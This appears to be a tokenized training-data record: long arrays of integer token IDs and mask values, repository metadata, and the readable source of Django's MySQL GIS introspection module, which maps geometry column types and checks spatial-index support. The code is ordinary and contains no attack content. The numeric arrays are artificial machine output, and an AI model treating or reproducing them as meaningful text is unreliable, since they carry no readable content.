[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 10219, 4475, 3277, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 4388, 199, 504, 6233, 14, 846, 14, 2625, 492, 11557, 3299, 199, 646, 1625, 199, 646, 7283, 63, 2671, 465, 2462, 199, 199, 363, 647, 6743, 363, 275, 408, 988, 5808, 29, 16, 1390, 16896, 29, 16, 949, 13, 1250, 826, 673, 9563, 1247, 29, 1361, 28284, 3259, 12, 1757, 63, 16144, 949, 13, 6664, 624, 199, 199, 692, 2688, 8, 3658, 3299, 12, 283, 30775, 461, 3658, 2209, 735, 523, 485, 3435, 63, 7726, 275, 715, 523, 485, 30775, 461, 3658, 2209, 275, 11557, 3299, 14, 30775, 461, 3658, 2209, 199, 2836, 26, 523, 485, 3435, 63, 7726, 275, 756, 523, 485, 30775, 461, 3658, 2209, 275, 11557, 3299, 14, 3658, 2209, 199, 199, 504, 6233, 14, 15358, 14, 1246, 14, 1246, 63, 1095, 63, 3317, 492, 627, 199, 646, 6233, 14, 15358, 14, 1246, 14, 1246, 63, 1095, 63, 3317, 199, 504, 6233, 14, 15358, 14, 1246, 14, 2775, 14, 2775, 63, 1364, 63, 3317, 492, 627, 199, 646, 6233, 14, 15358, 14, 1246, 14, 2775, 14, 2775, 63, 1364, 63, 3317, 199, 533, 1323, 17901, 3167, 547, 8, 3658, 3299, 14, 3658, 2209, 304, 8330, 32708, 7236, 19679, 63, 3170, 275, 259, 413, 523, 29901, 63, 42, 998, 221, 275, 259, 499, 523, 4825, 63, 23708, 420, 275, 259, 650, 523, 29901, 63, 4317, 221, 275, 259, 841, 523, 29901, 63, 2711, 275, 259, 959, 523, 29901, 63, 19085, 275, 259, 1227, 523, 3651, 2089, 25953, 63, 4283, 63, 4305, 275, 259, 1520, 523, 19525, 998, 63, 12644, 63, 12496, 275, 259, 1695, 523, 11214, 3472, 63, 10001, 275, 259, 1749, 819, 485, 547, 3034, 63, 14546, 275, 469, 272, 413, 26, 298, 1734, 22917, 19679, 63, 3170, 401, 272, 499, 26, 298, 9692, 63, 42, 998, 401, 272, 650, 26, 298, 2826, 63, 23708, 401, 272, 841, 26, 298, 9692, 63, 4317, 401, 272, 959, 26, 298, 9692, 63, 2711, 401, 272, 1227, 26, 298, 9692, 63, 19085, 401, 272, 1520, 26, 298, 1438, 2089, 25953, 63, 4283, 63, 4305, 401, 272, 1695, 26, 298, 7121, 998, 63, 12644, 63, 12496, 401, 272, 1749, 26, 298, 13887, 3472, 63, 10001, 401, 523, 789, 819, 347, 4520, 3034, 63, 985, 8, 1886, 12, 671, 304, 372, 843, 423, 547, 3034, 63, 14546, 14, 362, 8, 88, 12, 6899, 523, 4520, 3034, 63, 985, 275, 18990, 8, 547, 3034, 63, 985, 9, 8330, 347, 636, 826, 721, 277, 12, 4072, 29, 403, 304, 272, 986, 272, 340, 4072, 365, 440, 488, 26, 291, 14, 11359, 7671, 8, 4407, 9, 8330, 347, 14076, 2532, 8, 277, 12, 671, 304, 272, 702, 671, 365, 440, 291, 819, 347, 221, 13317, 8, 277, 12, 671, 304, 272, 340, 671, 365, 291, 26, 372, 413, 272, 372, 413, 819, 347, 6596, 23031, 8, 277, 12, 3105, 63, 16144, 29, 403, 304, 272, 10038, 275, 413, 272, 372, 10038, 819, 347, 20301, 2320, 8, 277, 304, 272, 302, 275, 378, 272, 372, 302, 819, 347, 20301, 2320, 18192, 8, 277, 304, 272, 302, 275, 378, 272, 372, 302, 819, 347, 14836, 8, 277, 304, 272, 986, 819, 347, 7242, 1358, 10718, 8, 277, 12, 734, 304, 272, 986, 819, 347, 7242, 18192, 8, 277, 12, 734, 304, 272, 986, 819, 347, 7649, 11359, 8, 277, 12, 366, 304, 272, 1830, 366, 14, 18961, 342, 690, 378, 26, 489, 13638, 275, 366, 14, 362, 32188, 708, 342, 421, 489, 340, 334, 6215, 508, 378, 304, 746, 11557, 3299, 14, 3658, 3299, 12620, 489, 366, 14, 2759, 1451, 8, 6215, 9, 8330, 347, 636, 495, 721, 277, 12, 2403, 8772, 870, 28284, 3259, 29, 16, 304, 272, 522, 9287, 272, 372, 522, 8330, 347, 485, 3425, 1931, 7521, 3186, 8, 4421, 12, 610, 400, 643, 12, 849, 29, 403, 304, 272, 372, 2008, 779, 4421, 14, 362, 8, 73, 12, 849, 9, 367, 284, 315, 4945, 8, 16, 12, 413, 11, 391, 400, 643, 3948, 8330, 485, 3876, 275, 485, 3425, 1931, 7521, 3186, 2561, 272, 378, 26, 298, 547, 3034, 401, 523, 1660, 378, 9, 819, 485, 7893, 275, 485, 3425, 1931, 7521, 3186, 2561, 272, 378, 26, 11557, 3299, 14, 6679, 14, 28425, 12, 523, 1660, 378, 12, 11557, 3299, 14, 6679, 14, 4283, 63, 2711, 9, 8330, 485, 18466, 275, 408, 624, 523, 485, 18466, 63, 9663, 63, 2711, 275, 408, 624, 523, 485, 7459, 63, 7580, 63, 2339, 275, 283, 571, 29138, 14, 56, 17901, 3167, 547, 7, 199, 533, 5543, 14073, 2017, 8, 3658, 3299, 14, 3658, 2209, 304, 523, 965, 63, 14203, 63, 275, 378, 523, 21752, 63, 275, 3087, 523, 965, 63, 504, 63, 14203, 63, 275, 378, 523, 687, 63, 14203, 63, 275, 3087, 819, 347, 636, 826, 721, 277, 12, 4072, 29, 403, 304, 272, 340, 4072, 365, 440, 488, 26, 291, 14, 11359, 7671, 8, 4407, 9, 819, 347, 21752, 8, 277, 304, 372, 291, 14, 14203, 63, 819, 347, 663, 63, 14203, 8, 277, 12, 671, 304, 272, 291, 14, 1989, 63, 14203, 63, 275, 413, 272, 291, 14, 14203, 63, 275, 671, 819, 347, 5436, 63, 14203, 8, 277, 304, 272, 340, 291, 14, 1989, 63, 14203, 10388, 489, 291, 14, 1989, 63, 14203, 63, 275, 378, 489, 291, 14, 14203, 63, 275, 3087, 819, 347, 965, 63 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 10219, 4475, 3277, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 4388, 199, 504, 6233, 14, 846, 14, 2625, 492, 11557, 3299, 199, 646, 1625, 199, 646, 7283, 63, 2671, 465, 2462, 199, 199, 363, 647, 6743, 363, 275, 408, 988, 5808, 29, 16, 1390, 16896, 29, 16, 949, 13, 1250, 826, 673, 9563, 1247, 29, 1361, 28284, 3259, 12, 1757, 63, 16144, 949, 13, 6664, 624, 199, 199, 692, 2688, 8, 3658, 3299, 12, 283, 30775, 461, 3658, 2209, 735, 523, 485, 3435, 63, 7726, 275, 715, 523, 485, 30775, 461, 3658, 2209, 275, 11557, 3299, 14, 30775, 461, 3658, 2209, 199, 2836, 26, 523, 485, 3435, 63, 7726, 275, 756, 523, 485, 30775, 461, 3658, 2209, 275, 11557, 3299, 14, 3658, 2209, 199, 199, 504, 6233, 14, 15358, 14, 1246, 14, 1246, 63, 1095, 63, 3317, 492, 627, 199, 646, 6233, 14, 15358, 14, 1246, 14, 1246, 63, 1095, 63, 3317, 199, 504, 6233, 14, 15358, 14, 1246, 14, 2775, 14, 2775, 63, 1364, 63, 3317, 492, 627, 199, 646, 6233, 14, 15358, 14, 1246, 14, 2775, 14, 2775, 63, 1364, 63, 3317, 199, 533, 1323, 17901, 3167, 547, 8, 3658, 3299, 14, 3658, 2209, 304, 8330, 32708, 7236, 19679, 63, 3170, 275, 259, 413, 523, 29901, 63, 42, 998, 221, 275, 259, 499, 523, 4825, 63, 23708, 420, 275, 259, 650, 523, 29901, 63, 4317, 221, 275, 259, 841, 523, 29901, 63, 2711, 275, 259, 959, 523, 29901, 63, 19085, 275, 259, 1227, 523, 3651, 2089, 25953, 63, 4283, 63, 4305, 275, 259, 1520, 523, 19525, 998, 63, 12644, 63, 12496, 275, 259, 1695, 523, 11214, 3472, 63, 10001, 275, 259, 1749, 819, 485, 547, 3034, 63, 14546, 275, 469, 272, 413, 26, 298, 1734, 22917, 19679, 63, 3170, 401, 272, 499, 26, 298, 9692, 63, 42, 998, 401, 272, 650, 26, 298, 2826, 63, 23708, 401, 272, 841, 26, 298, 9692, 63, 4317, 401, 272, 959, 26, 298, 9692, 63, 2711, 401, 272, 1227, 26, 298, 9692, 63, 19085, 401, 272, 1520, 26, 298, 1438, 2089, 25953, 63, 4283, 63, 4305, 401, 272, 1695, 26, 298, 7121, 998, 63, 12644, 63, 12496, 401, 272, 1749, 26, 298, 13887, 3472, 63, 10001, 401, 523, 789, 819, 347, 4520, 3034, 63, 985, 8, 1886, 12, 671, 304, 372, 843, 423, 547, 3034, 63, 14546, 14, 362, 8, 88, 12, 6899, 523, 4520, 3034, 63, 985, 275, 18990, 8, 547, 3034, 63, 985, 9, 8330, 347, 636, 826, 721, 277, 12, 4072, 29, 403, 304, 272, 986, 272, 340, 4072, 365, 440, 488, 26, 291, 14, 11359, 7671, 8, 4407, 9, 8330, 347, 14076, 2532, 8, 277, 12, 671, 304, 272, 702, 671, 365, 440, 291, 819, 347, 221, 13317, 8, 277, 12, 671, 304, 272, 340, 671, 365, 291, 26, 372, 413, 272, 372, 413, 819, 347, 6596, 23031, 8, 277, 12, 3105, 63, 16144, 29, 403, 304, 272, 10038, 275, 413, 272, 372, 10038, 819, 347, 20301, 2320, 8, 277, 304, 272, 302, 275, 378, 272, 372, 302, 819, 347, 20301, 2320, 18192, 8, 277, 304, 272, 302, 275, 378, 272, 372, 302, 819, 347, 14836, 8, 277, 304, 272, 986, 819, 347, 7242, 1358, 10718, 8, 277, 12, 734, 304, 272, 986, 819, 347, 7242, 18192, 8, 277, 12, 734, 304, 272, 986, 819, 347, 7649, 11359, 8, 277, 12, 366, 304, 272, 1830, 366, 14, 18961, 342, 690, 378, 26, 489, 13638, 275, 366, 14, 362, 32188, 708, 342, 421, 489, 340, 334, 6215, 508, 378, 304, 746, 11557, 3299, 14, 3658, 3299, 12620, 489, 366, 14, 2759, 1451, 8, 6215, 9, 8330, 347, 636, 495, 721, 277, 12, 2403, 8772, 870, 28284, 3259, 29, 16, 304, 272, 522, 9287, 272, 372, 522, 8330, 347, 485, 3425, 1931, 7521, 3186, 8, 4421, 12, 610, 400, 643, 12, 849, 29, 403, 304, 272, 372, 2008, 779, 4421, 14, 362, 8, 73, 12, 849, 9, 367, 284, 315, 4945, 8, 16, 12, 413, 11, 391, 400, 643, 3948, 8330, 485, 3876, 275, 485, 3425, 1931, 7521, 3186, 2561, 272, 378, 26, 298, 547, 3034, 401, 523, 1660, 378, 9, 819, 485, 7893, 275, 485, 3425, 1931, 7521, 3186, 2561, 272, 378, 26, 11557, 3299, 14, 6679, 14, 28425, 12, 523, 1660, 378, 12, 11557, 3299, 14, 6679, 14, 4283, 63, 2711, 9, 8330, 485, 18466, 275, 408, 624, 523, 485, 18466, 63, 9663, 63, 2711, 275, 408, 624, 523, 485, 7459, 63, 7580, 63, 2339, 275, 283, 571, 29138, 14, 56, 17901, 3167, 547, 7, 199, 533, 5543, 14073, 2017, 8, 3658, 3299, 14, 3658, 2209, 304, 523, 965, 63, 14203, 63, 275, 378, 523, 21752, 63, 275, 3087, 523, 965, 63, 504, 63, 14203, 63, 275, 378, 523, 687, 63, 14203, 63, 275, 3087, 819, 347, 636, 826, 721, 277, 12, 4072, 29, 403, 304, 272, 340, 4072, 365, 440, 488, 26, 291, 14, 11359, 7671, 8, 4407, 9, 819, 347, 21752, 8, 277, 304, 372, 291, 14, 14203, 63, 819, 347, 663, 63, 14203, 8, 277, 12, 671, 304, 272, 291, 14, 1989, 63, 14203, 63, 275, 413, 272, 291, 14, 14203, 63, 275, 671, 819, 347, 5436, 63, 14203, 8, 277, 304, 272, 340, 291, 14, 1989, 63, 14203, 10388, 489, 291, 14, 1989, 63, 14203, 63, 275, 378, 489, 291, 14, 14203, 63, 275, 3087, 819, 347, 965, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
tanmaythakur/django
django/contrib/gis/db/backends/mysql/introspection.py
700
1771
from MySQLdb.constants import FIELD_TYPE from django.contrib.gis.gdal import OGRGeomType from django.db.backends.mysql.introspection import DatabaseIntrospection class MySQLIntrospection(DatabaseIntrospection): # Updating the data_types_reverse dictionary with the appropriate # type for Geometry fields. data_types_reverse = DatabaseIntrospection.data_types_reverse.copy() data_types_reverse[FIELD_TYPE.GEOMETRY] = 'GeometryField' def get_geometry_type(self, table_name, geo_col): cursor = self.connection.cursor() try: # In order to get the specific geometry type of the field, # we introspect on the table definition using `DESCRIBE`. cursor.execute('DESCRIBE %s' % self.connection.ops.quote_name(table_name)) # Increment over description info until we get to the geometry # column. for column, typ, null, key, default, extra in cursor.fetchall(): if column == geo_col: # Using OGRGeomType to convert from OGC name to Django field. # MySQL does not support 3D or SRIDs, so the field params # are empty. field_type = OGRGeomType(typ).django field_params = {} break finally: cursor.close() return field_type, field_params def supports_spatial_index(self, cursor, table_name): # Supported with MyISAM, or InnoDB on MySQL 5.7.5+ storage_engine = self.get_storage_engine(cursor, table_name) return ( (storage_engine == 'InnoDB' and self.connection.mysql_version >= (5, 7, 5)) or storage_engine == 'MyISAM' )
bsd-3-clause
[ 504, 25709, 14, 5559, 492, 26130, 63, 2711, 199, 199, 504, 1639, 14, 2828, 14, 5668, 14, 11600, 492, 25756, 199, 504, 1639, 14, 697, 14, 7765, 14, 8644, 14, 21627, 492, 8692, 30516, 421, 199, 533, 4932, 18445, 2673, 343, 14254, 8, 7243, 30516, 304, 272, 327, 4949, 9239, 314, 666, 63, 1313, 63, 4471, 2600, 543, 314, 5827, 272, 327, 730, 367, 10579, 1504, 14, 272, 666, 63, 1313, 63, 4471, 275, 8692, 30516, 14, 576, 63, 1313, 63, 4471, 14, 1574, 342, 272, 666, 63, 1313, 63, 4471, 59, 8609, 63, 2711, 14, 28472, 61, 275, 283, 6831, 792, 7, 339, 347, 664, 63, 7660, 63, 466, 8, 277, 12, 1817, 63, 354, 12, 8509, 63, 761, 304, 267, 3920, 275, 291, 14, 2105, 14, 3937, 342, 267, 862, 26, 288, 327, 1010, 1865, 370, 664, 314, 2488, 3400, 730, 402, 314, 901, 12, 288, 327, 781, 1109, 21302, 641, 314, 1817, 5492, 1808, 658, 4448, 27448, 37, 2313, 288, 3920, 14, 2526, 360, 4448, 27448, 37, 450, 83, 7, 450, 2574, 291, 14, 2105, 14, 1483, 14, 3513, 63, 354, 8, 1224, 63, 354, 430, 288, 327, 1010, 4062, 1806, 1369, 2256, 5133, 781, 664, 370, 314, 3400, 288, 327, 2763, 14, 288, 367, 2763, 12, 6211, 12, 2973, 12, 790, 12, 849, 12, 2402, 315, 3920, 14, 10174, 837, 355, 340, 2763, 508, 8509, 63, 761, 26, 490, 327, 11719, 25756, 370, 3957, 687, 593, 7484, 536, 370, 5634, 901, 14, 490, 327, 11200, 1630, 440, 2291, 650, 36, 503, 12765, 12818, 12, 880, 314, 901, 1862, 490, 327, 787, 2701, 14, 490, 901, 63, 466, 275, 25756, 8, 9749, 680, 1176, 490, 901, 63, 1162, 275, 1052, 490, 2059, 267, 3753, 26, 288, 3920, 14, 1600, 342, 398, 372, 901, 63, 466, 12, 901, 63, 1162, 339, 347, 5171, 63, 11679, 63, 1080, 8, 277, 12, 3920, 12, 1817, 63, 354, 304, 267, 327, 26167, 543, 4932, 1311, 1156, 12, 503, 1010, 889, 2846, 641, 11200, 959, 14, 23, 14, 21, 11, 267, 4887, 63, 3908, 275, 291, 14, 362, 63, 3494, 63, 3908, 8, 3937, 12, 1817, 63, 354, 9, 267, 372, 334, 288, 334, 3494, 63, 3908, 508, 283, 607, 889, 2846, 7, 436, 291, 14, 2105, 14, 8644, 63, 1023, 2356, 334, 21, 12, 1520, 12, 959, 430, 503, 288, 4887, 63, 3908, 508, 283, 5713, 1311, 1156, 7, 267, 776, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 25709, 14, 5559, 492, 26130, 63, 2711, 199, 199, 504, 1639, 14, 2828, 14, 5668, 14, 11600, 492, 25756, 199, 504, 1639, 14, 697, 14, 7765, 14, 8644, 14, 21627, 492, 8692, 30516, 421, 199, 533, 4932, 18445, 2673, 343, 14254, 8, 7243, 30516, 304, 272, 327, 4949, 9239, 314, 666, 63, 1313, 63, 4471, 2600, 543, 314, 5827, 272, 327, 730, 367, 10579, 1504, 14, 272, 666, 63, 1313, 63, 4471, 275, 8692, 30516, 14, 576, 63, 1313, 63, 4471, 14, 1574, 342, 272, 666, 63, 1313, 63, 4471, 59, 8609, 63, 2711, 14, 28472, 61, 275, 283, 6831, 792, 7, 339, 347, 664, 63, 7660, 63, 466, 8, 277, 12, 1817, 63, 354, 12, 8509, 63, 761, 304, 267, 3920, 275, 291, 14, 2105, 14, 3937, 342, 267, 862, 26, 288, 327, 1010, 1865, 370, 664, 314, 2488, 3400, 730, 402, 314, 901, 12, 288, 327, 781, 1109, 21302, 641, 314, 1817, 5492, 1808, 658, 4448, 27448, 37, 2313, 288, 3920, 14, 2526, 360, 4448, 27448, 37, 450, 83, 7, 450, 2574, 291, 14, 2105, 14, 1483, 14, 3513, 63, 354, 8, 1224, 63, 354, 430, 288, 327, 1010, 4062, 1806, 1369, 2256, 5133, 781, 664, 370, 314, 3400, 288, 327, 2763, 14, 288, 367, 2763, 12, 6211, 12, 2973, 12, 790, 12, 849, 12, 2402, 315, 3920, 14, 10174, 837, 355, 340, 2763, 508, 8509, 63, 761, 26, 490, 327, 11719, 25756, 370, 3957, 687, 593, 7484, 536, 370, 5634, 901, 14, 490, 327, 11200, 1630, 440, 2291, 650, 36, 503, 12765, 12818, 12, 880, 314, 901, 1862, 490, 327, 787, 2701, 14, 490, 901, 63, 466, 275, 25756, 8, 9749, 680, 1176, 490, 901, 63, 1162, 275, 1052, 490, 2059, 267, 3753, 26, 288, 3920, 14, 1600, 342, 398, 372, 901, 63, 466, 12, 901, 63, 1162, 339, 347, 5171, 63, 11679, 63, 1080, 8, 277, 12, 3920, 12, 1817, 63, 354, 304, 267, 327, 26167, 543, 4932, 1311, 1156, 12, 503, 1010, 889, 2846, 641, 11200, 959, 14, 23, 14, 21, 11, 267, 4887, 63, 3908, 275, 291, 14, 362, 63, 3494, 63, 3908, 8, 3937, 12, 1817, 63, 354, 9, 267, 372, 334, 288, 334, 3494, 63, 3908, 508, 283, 607, 889, 2846, 7, 436, 291, 14, 2105, 14, 8644, 63, 1023, 2356, 334, 21, 12, 1520, 12, 959, 430, 503, 288, 4887, 63, 3908, 508, 283, 5713, 1311, 1156, 7, 267, 776, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 